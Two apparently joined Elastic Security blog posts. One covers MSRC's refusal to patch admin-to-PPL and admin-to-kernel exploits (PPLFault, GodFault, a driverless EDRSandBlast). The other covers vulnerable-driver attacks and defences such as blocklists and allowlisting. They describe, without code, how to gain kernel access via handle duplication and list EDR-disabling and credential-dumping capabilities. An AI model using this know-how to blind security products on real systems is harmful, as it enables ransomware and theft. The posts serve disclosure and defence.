Based on this definition, one might be inclined to think that malware running in user mode should not be able to modify kernel memory. The boundary is “straightforward” after all. Logically, any violation of that boundary should be met with a remedial action such as a patch or blocklist update.

Unfortunately, the situation gets murkier from here. That document later states that administrator-to-kernel is not a security boundary, with the following explanation:

Administrative processes and users are considered part of the Trusted Computing Base (TCB) for Windows and are therefore not strong [sic] isolated from the kernel boundary.

At this point, we have two seemingly conflicting viewpoints. On one hand, MSRC states that admin-to-kernel is an indefensible boundary and not worth fixing. On the other hand, Microsoft is attempting to defend this boundary with mechanisms such as Driver Signing Enforcement, Secure Boot, and the Vulnerable Driver Blocklist. Because the defense is incomplete, MSRC instead calls them “defense-in-depth security features.”

MSRC similarly does not consider admin-to-PPL a security boundary, instead classifying it as a defense-in-depth security feature. More on this in the next section.

The rest of this article will refer to MSRC and Microsoft separately. While MSRC is part of Microsoft, Microsoft is a much larger entity than MSRC; they shouldn't be equated.

Exploiting vulnerabilities

In September 2022, I filed VULN-074311 with MSRC, notifying them of two zero-day vulnerabilities in Windows: one admin-to-PPL and one PPL-to-kernel. I provided source code for both exploits. The response concisely indicated that they understood the vulnerabilities and declined to take any further action, as stated below:

The research describes a multi-step attack that leverages a PPL bypass to gain kernel code execution. Note that all of the proposed attacks do require administrative privileges to perform and thus the reported issue does not meet our bar for immediate servicing. We do not expect any further action and will proceed with closing out the case.

In this parlance, “servicing” means “patching.” Their response is consistent with the aforementioned policy and their historical treatment of the admin-to-kernel boundary. Their behavior is consistent too - it's been over 11 months and they still haven't patched either vulnerability. I find it fascinating that Microsoft is willing to block drivers that can modify kernel memory but MSRC is unwilling to service vulnerabilities that can do the same.

When I announced my Black Hat Asia 2023 talk, PPLdump Is Dead. Long Live PPLdump, on Twitter five months after the MSRC report, the Windows Defender team quickly reached out to learn more. It seems that MSRC closed the case without telling the Defender team, whose products rely on PPL to protect hundreds of millions of Windows machines, about a PPL bypass. This type of miscommunication mustn't be allowed to continue.

Turnkey tooling

EDRSandBlast is a tool that weaponizes vulnerable drivers to bypass AV & EDR software. It can modify kernel memory to remove hooks installed by AV & EDR, temporarily or permanently blinding them to malicious activity on the system.

As I discussed in my Black Hat Asia talk, MSRC has de-facto shown that they are unwilling to service admin-to-PPL and admin-to-kernel vulnerabilities and that it requires the existence of turnkey tooling on GitHub to motivate Microsoft to action. This led me to release the admin-to-PPL exploit PPLFault and admin-to-kernel exploit chain GodFault as easy-to-use tools on GitHub. For brevity, below we'll call them “PPL vulnerability” and “kernel vulnerability”, respectively.

In this same “turnkey tooling” spirit, to highlight the inconsistency of blocking known-vulnerable drivers while simultaneously refusing to patch admin-to-kernel exploit chains, I am releasing a version of EDRSandBlast that integrates PPLFault to demonstrate the same result, sans vulnerable drivers. You can see it here disabling the Windows Defender driver. My goal in releasing this is to motivate MSRC to treat both PPL and kernel vulnerabilities with greater urgency.

Mitigation

I released a small kernel driver alongside PPLFault and GodFault called NoFault which breaks the PPL exploit. Until Windows is fixed, anti-malware vendors can employ this code to mitigate the PPL vulnerability. We've incorporated NoFault's protection into the latest version of Elastic Endpoint/Defend - please update to 8.9.0+ if you haven't already. One comprehensive fix could be to have the memory manager enforce page hashes for all executable images loaded into PPL, a feature already employed for full Protected Processes.

GodFault is not the first tool to exploit the kernel vulnerability. ANGRYORCHARD first used it with the now-patched KnownDLLs PPL vulnerability. The PPL vulnerability has since been fixed, but the kernel one was not. I was able to easily reuse the kernel vulnerability in GodFault - it's only a few lines of code. If this is not patched, then any future PPL exploits will immediately be chainable to the kernel. Note that NoFault breaks the kernel exploit chain by preventing its requisite PPL code execution, but does not fix the kernel vulnerability itself.

Discussion

Making EDRSandBlast driverless is just one example of the things you can do with such exploits. Admin-to-kernel exploits enable a whole menu of malware capabilities that are normally impossible from user mode, including:

• Disable kernel mode telemetry including process, thread, object manager, filesystem, and registry callbacks. EDRSandBlast does some of these.
• Disable kernel ETW loggers
• Terminate and/or inject malware into PPL anti-malware processes
• Bypass LSA RunAsPPL to dump credentials or tamper with Credential Guard
• Read/write the memory of shielded VM worker processes, which run as PPL
• Run malware with greater privilege than anti-malware, such that it can't be scanned or terminated from user mode
• Implement rootkit behavior such as hiding processes, files, and registry keys
• Gain full read-write access to physical memory

Such kernel-driven capabilities, often enabled by BYOVD, are regularly used by criminals to defeat and degrade security products, empowering them to hurt people and businesses. PPL and kernel vulnerabilities enable these same capabilities, so MSRC needs to service them proactively before threat actors abuse them, not after.

I don't want to understate the difficulty of the problem - defending the kernel against admins is hard and will require continual effort as new bypasses are found. It will not be solved, but rather a difficult and ongoing arms race. Fortunately, Microsoft recently adopted a new philosophy of “no longer avoiding the hard things” (timestamped link). Addressing these types of vulnerabilities is a “hard thing” affecting Windows security today that Microsoft can do something about while simultaneously moving towards their vision of an Adminless future. They're a large well-funded company filled with smart people, capable of addressing multiple issues at once.

Conclusion

Microsoft created the Vulnerable Driver Blocklist to stop admins from tampering with the kernel, but they've done nothing about an admin-to-kernel exploit chain that was reported over 11 months ago. By removing the vulnerable driver requirement from EDRSandBlast via GodFault, I hope to prove that admin-to-kernel exploits can be just as dangerous as vulnerable drivers and that MSRC needs to take them seriously. Given Windows 11's goal of default security and the fact that the Vulnerable Driver Blocklist is now enabled by default, MSRC needs to reconsider its policy of indifference towards PPL and kernel exploits.

• Ransomware actors are leveraging vulnerable drivers to tamper with endpoint security products.
• Elastic Security released 65 YARA rules to detect vulnerable driver abuse.
• Elastic Endpoint (8.3+) protects users from this threat.

Background

In 2018, Gabriel Landau and Joe Desimone presented a talk at Black Hat covering the evolution of kernel mode threats on Windows. The most concerning trend was towards leveraging known good but vulnerable drivers to gain kernel mode execution. We showed this was practical, even with hypervisor mode integrity protection (HVCI) and Windows Hardware Quality Labs (WHQL) signing requirement enabled. At the time, the risk to everyday users was relatively low, as these techniques were mostly leveraged by advanced state actors and top red teams.

Fast forward to 2022, and attacks leveraging vulnerable drivers are a growing concern due to a proliferation of open source tools to perform these attacks. Vulnerable drivers have now been used by ransomware to terminate security software before encrypting the system. Organizations can reduce their risk by limiting administrative user permissions. However, it is also imperative for security vendors to protect the user-to-kernel boundary because once an attacker can execute code in the kernel, security tools can no longer effectively protect the host. Kernel access gives attackers free rein to tamper or terminate endpoint security products or inject code into protected processes.

This post includes a primer on kernel mode attacks, along with Elastic’s recommendations for securing users from kernel attacks leveraging vulnerable drivers.

Attack flow

There are a number of flaws in drivers that can allow attackers to gain kernel mode access to fully compromise the system and remain undetected. Some of the most common flaws include granting user mode processes write access to virtual memory, physical memory, or model-specific registers (MSR). Classic buffer overflows and missing bounds checks are also common.

A less common driver flaw is unrestricted handle duplication. While this may seem like innocuous functionality at first glance, handle duplication can be leveraged to gain full kernel code execution by user mode processes. For example, the latest Process Explorer driver by Microsoft exposes such a function.

An attacker can leverage this vulnerability to duplicate a sensitive handle to raw physical memory present in the System (PID 4) process.

After obtaining the cr3 value, the attacker can walk the page tables to convert virtual kernel addresses to their associated physical addresses. This grants an arbitrary virtual read/write primitive, which attackers can leverage to easily tamper with kernel data structures or execute arbitrary kernel code. On HVCI-enabled systems, thread control flow can be hijacked to execute arbitrary kernel functions as shown below.

We reported this issue to Microsoft in the vulnerable driver submission portal on July 26, but as of this writing have not received a response. We hope Microsoft will consider this a serious security issue worth addressing. Ideally, they will release a fixed version without the vulnerable IOCTLs and include it in the default HVCI blocklist. This would be consistent with the blocking of the ProcessHacker (now known as System Informer) driver for the same flaw.

Blocklisting

Blocklisting prevents known vulnerable drivers from loading on a system, and is a great first step to the vulnerable driver problem. Blocklisting can raise the cost of kernel attacks to levels out of reach for some criminal groups, while maintaining low false positive rates. The downside is it does not stop more advanced groups, which can identify new, previously-unknown, vulnerable drivers.

Microsoft maintains a catalog of known exploited or malicious drivers, which should be a minimum baseline. This catalog consists of rules using various combinations of Authenticode hash, certificate hash (also known as TBS), internal file name, and version. The catalog is intended to be used by Windows Defender Application Control (WDAC). We used this catalog as a starting point for a more comprehensive list using the YARA community standard.

To expand on the existing list of known vulnerable drivers, we pivoted through VirusTotal data with known vulnerable import hashes and other metadata. We also combed through public attack tooling to identify additional vulnerable drivers. As common practice for Elastic Security, we made our blocklist available to the community. In Elastic Endpoint Security version 8.3 and newer, all drivers are validated against the blocklist in-line before they are allowed to load onto the system (shown below).

Allowlisting

One of the most robust defenses against this driver threat is to only allow the combination of driver signer, internal file name, version, and/or hashes, which are known to be in use. We recommend organizations be as strict as feasible. For example, do not blanket trust all WHQL signed drivers. This is the classic application control method, albeit focusing on drivers. An organization’s diversity of drivers should be more manageable than the entirety of user mode applications. Windows Defender Application Control (WDAC) is a powerful built-in feature that can be configured this way. However, the learning curve and maintenance costs may still be too high for organizations without well-staffed security teams. To reap most of the benefits of the allowlisting approach, but reduce the cost of implementation to the users (ideally to blocklisting levels), we recommend two approaches in tandem: behavior control and alert on first seen.

Behavior control

The concept behind behavior control is to produce a more manageable set of allowlistable behavior choke points that can be tuned for high confidence. For example, we can create a behavior control around which applications are allowed to write drivers to disk. This may start with a relatively loose and simple rule:

From there, we can allowlist the benign applications that are known to exhibit this behavior. Then we receive and triage hits, tune the rule until it becomes high confidence, and then ship as part of our malicious behavior protection. Elastic SIEM users can use the same technique to create custom Detection Engine rules tuned specifically for their environment.

First seen

Elastic Security in 8.4 adds another powerful tool that can be used to identify suspicious drivers. This is the “New Terms” rule type, which can be used to create an alert when a term (driver hash, signer, version, internal file name, etc) is observed for the first time.

This empowers security teams to quickly surface unusual drivers the first time they’re seen in their environment. This supports a detection opportunity for even previously unknown vulnerable drivers or other driver-based adversary tradecraft.

Conclusion

Vulnerable driver exploitation, once relegated to advanced adversaries, has now proliferated to the point of being used in ransomware attacks. The time for the security community to come together and act on this problem is now. We can start raising the cost by collaborating on blocklists as a community. We should also investigate additional detection strategies such as behavior control and anomaly detection to raise the cost further without requiring significant security expertise or resources to achieve.